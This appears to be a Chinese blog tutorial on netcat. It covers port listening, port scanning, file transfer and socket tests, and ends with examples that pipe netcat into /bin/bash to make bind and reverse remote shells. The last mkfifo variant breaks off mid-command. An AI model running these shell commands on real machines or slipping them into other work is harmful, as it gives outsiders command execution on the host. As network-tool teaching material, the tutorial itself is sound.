1. 程式人生 > >netcat(NC)的使用

netcat(NC)的使用

NetCat,在網路工具中有“瑞士軍刀”美譽,其有Windows和Linux的版本。因為它短小精悍,功能實用,被設計為一個簡單、可靠的網路工具,可通過TCP或UDP協議傳輸讀寫資料。同時,它還是一個網路應用Debug分析器,因為它可以根據需要建立各種不同型別的網路連線。
先來看下它的基本用法:
[email protected]:~# nc -h
[v1.10-38]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8 設定路由器躍程通訊閘道器,最高可設定8個。
-G num source-routing pointer: 4, 8, 12, … 設定來源路由指向器,其數值為4的倍數。
-h this cruft
-i secs delay interval for lines sent, ports sca 延時的間隔
-k set keepalive option on socket
-l listen mode, for inbound connects 監聽模式,入站連線
-n numeric-only IP addresses, no DNS 直接使用ip地址,而不用域名伺服器
-o file hex dump of traffic 指定檔名稱,把往來傳輸的資料以16進位制字碼傾倒成該檔案儲存。
-p port local port number 本地埠
-r randomize local and remote ports 隨機本地和遠端埠
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode udp 模式
-v verbose [use twice to be more verbose] 顯示過程,vv 更多
-w secs timeout for connects and final net reads 等待連線超時
-z zero-I/O mode [used for scanning] 使用輸入/輸出模式,只在掃描通訊埠時使用。
1.監聽本地埠

[email protected]:~# nc -l -p 1234
[email protected]:~# netstat -tunlp | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 15543/nc
2.埠掃描
[email protected]:~# nc -v -w 10 10.1.1.180 80
(UNKNOWN) [10.1.1.180] 80 (www) open

[email protected]:~# nc -v -w 10 10.1.1.180 -z 80-30000
(UNKNOWN) [10.1.1.180] 22000 (?) open
(UNKNOWN) [10.1.1.180] 80 (www) open
3.檔案傳出
源10.1.1.43 text.txt
目的 10.1.1.180

[email protected]:~# nc -l -p 1234 > test.txt #開10.1.1.180:1234埠監聽,並將socket傳輸過來的資料重定向到test.txt檔案 test 43 nc
[email protected]:~#cat test.txt

[email protected]:~# nc 10.1.1.180 1234 < test.txt #連線遠端的10.1.1.180,從test.txt的路徑從定向到socket,從而將檔案傳輸到遠方。
[email protected]:~# cat test.txt
test 43 nc
4.目錄傳輸
源10.1.1.43 python_program
目的 10.1.1.180

[email protected]:~# nc -l -p 1234 | tar xzvf -

[email protected]:~# tar czvf - python_program | nc 10.1.1.180 1234
python_program/
python_program/1.py
python_program/4.py
python_program/3.py
5.測試UDP埠
[email protected]:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1111/sshd
udp 0 0 0.0.0.0:68 0.0.0.0:* 887/dhclient

[email protected]:~# nc -vuz 172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!
簡單來說, nc 有以下功能:
模擬 TCP 服務端
模擬 TCP 客戶端
模擬 UDP 服務端
模擬 UDP 客戶端
模擬 UNIX socket 服務端
模擬 UNIX socket 客戶端
埠掃描
傳輸檔案
將伺服器 bash 暴露給遠端客戶端
內網穿透,反向獲取防火牆後的機器的 bash
以下分別舉例說明。
例項
環境設定
假設
伺服器 A 有外網 IP 202.118.69.40
伺服器 B 沒有外網 IP
客戶端 C 有外網 IP 202.119.70.41
三臺主機上均為 Ubuntu 16.04 作業系統。
TODO 網路拓撲圖
1 模擬 TCP 服務端
nc -lk 9090
在伺服器 A 執行以上命令,將會把 nc 繫結到 9090 埠,並開始監聽請求。
-l 代表 netcat 將以監聽模式執行;
-k 表示 nc 在接收完一個請求後不會立即退出,而是會繼續監聽其他請求。
這時就可以請求該介面了, nc 會把請求報文輸出到標準輸出。
例如在客戶端 C 執行 curl 202.118.69.40
nc 將會將 HTTP 請求的報文輸出到標準輸出
GET / HTTP/1.1
Host: 192.168.0.71:9090
User-Agent: curl/7.54.0
Accept: /
2 模擬 TCP 客戶端
printf “GET / HTTP/1.1\r\nHost: example.com\r\n\r\n” | nc example.com 80
在客戶端 C 執行上述程式碼,
C 的輸出如下
Connection to example.com port 80 [tcp/http] succeeded!
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 09 Oct 2018 07:08:38 GMT
Etag: “1541025663+gzip”
Expires: Tue, 16 Oct 2018 07:08:38 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (sjc/4E52)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270

<!doctype html>

Example Domain
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">

Example Domain

This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission.

More information...

證明客戶端模擬成功,給 example.com 傳送了 HTTP Method 為 GET 的 HTTP 請求。 3 模擬 UDP 服務端 在 A 執行 nc -lk -u 9090 4 模擬 UDP 客戶端 在 C 執行 nc -u 202.118.69.40 9090 此時在客戶端終端中輸入任意字元,將在 A 的終端中輸出同樣的字元,證明 UDP 服務端和客戶端模擬成功。 5 模擬 UNIX socket 服務端 在 A 執行 nc -Ul /tmp/mync.sock 6 模擬 UNIX socket 客戶端 在 A 執行(UNIX 預設不能跨伺服器) nc -U /tmp/mync.sock 此時在該終端中輸入任意字元,將在第5步的終端中輸出同樣的字元,證明 Unix socket 服務端和客戶端模擬成功。 7 埠掃描 nc -vz 202.118.69.40 1-81 2>&1|grep succeed -z 指 Zero-I/O mode,即連線的過程中禁用輸入輸出,僅用與埠掃描。 2>&1|grep succeed 預設情況下掃描過程中,不論成功與失敗,掃描結果都被輸出到了“標準錯誤輸出”,該命令用來過濾,僅顯示出開啟到埠。 上述指令輸出結果如下: Connection to 202.118.69.40 22 port [tcp/ssh] succeeded! Connection to 202.118.69.40 53 port [tcp/domain] succeeded! Connection to 202.118.69.40 80 port [tcp/http] succeeded! 8 傳輸檔案 8.1 向伺服器上傳圖片 伺服器 A 監聽 9090 埠 nc -l 9090 | base64 -d > WechatIMG88.jpeg 客戶端上傳圖片 base64 WechatIMG88.jpeg | nc 202.118.69.40 9090 注:因為需要傳輸圖片,所以先 base64 編碼,然後下載完再解碼避免終端錯亂。 8.2 從伺服器下載圖片 伺服器 A 監聽 9090 埠,並將要下載的圖片輸出到 nc base64 WechatIMG88.jpeg | nc -l 9090 客戶端下載 nc -t 202.118.69.40 9090|base64 -D > w.jpeg 9 將伺服器 bash 暴露給遠端客戶端 與 7 類似,只不過服務端將接收到到內容管道給 /bin/bash 然後在客戶端輸入要敲的命令 nc -l 9090 | /bin/bash 10 內網穿透,反向獲取防火牆後的機器的 bash 與 8 類似,只不過伺服器 B 將內容管道給 /bin/bash 在客戶端 A 開啟監聽 nc -l 9090 在伺服器 C 上執行以下程式碼反向接受命令 nc -t 202.119.70.41 9090 | /bin/bash 然後在客戶端 A 輸入要執行的命令即可。 需要注意的是,使用上述命令遠端執行命令時在客戶端無法看到命令的返回結果。 通過建立命名管道的方式,可將 bash 執行的結果回傳給 netcat, 具體命令如下(在伺服器 C 執行程式碼): mkfifo ncpipe nc -t 202.119.70.41 9090 0